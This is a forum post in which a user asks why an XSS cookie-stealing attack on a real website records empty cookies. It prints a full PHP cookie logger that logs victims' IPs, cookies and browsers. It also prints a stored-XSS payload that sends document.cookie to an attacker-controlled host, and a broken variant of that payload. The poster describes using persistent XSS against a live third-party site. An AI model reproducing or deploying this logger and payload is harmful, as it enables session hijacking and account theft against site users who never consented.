Thread: [No cookie while using xss cookie injection?](#)

ejshadow - March 30, 2013, 7:56 pm

So,i was trying to learn a bit more about xss and i came to this problem...there's a website which allows persisten xss and i've used it to test my abilities with xss like redirection etc....but when i try to steal cookies...this is what it shows:

IP: (here is my ip)

Cookie:

Referrer: http://the website trying to steal cookies/?code=profile.settingsSaveSuccess

Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko)

Chrome/25.0.1364.172 Safari/537.22

How's that possible?

so...this is the php code:

```
<?php
```

```
/*
```

```
 Kr3w's Cookie Logger
```

```
 www.thedefaced.org
```

```
*/
```

```
$ip = $_SERVER['REMOTE_ADDR'];
```

```
$cookie = $_GET['cookie'];
```

```
$referrer = $_SERVER['HTTP_REFERER'];
```

```
$browser = $_SERVER['HTTP_USER_AGENT'];
```

```
$redirect = $_GET['redirect'];
```

```
$data = "IP: " . $ip . "\n"
```

```
."Cookie: " . $cookie . "\n"
```

```
."Referrer: " . $referrer . "\n"
```

```
."Browser: " . $browser . "\n\n";
```

```
$log = "log.txt";
```

```
@chmod($log, 0777);
```

```
$f = fopen($log, 'a');
```

```
fwrite($f, $data);
```

```
fclose($f);
```

```
@header("Location: $redirect");
```

?>

and the xss code is the following:

```
"><script language=
"JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" +
document.cookie;document.location="http://www.whateversite.com"</script>
```

so...make it like this:

```
"><script language=
"JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" +
document.cookie;+"&redirect="+="http://www.whateversite.com"</script> ?!
```
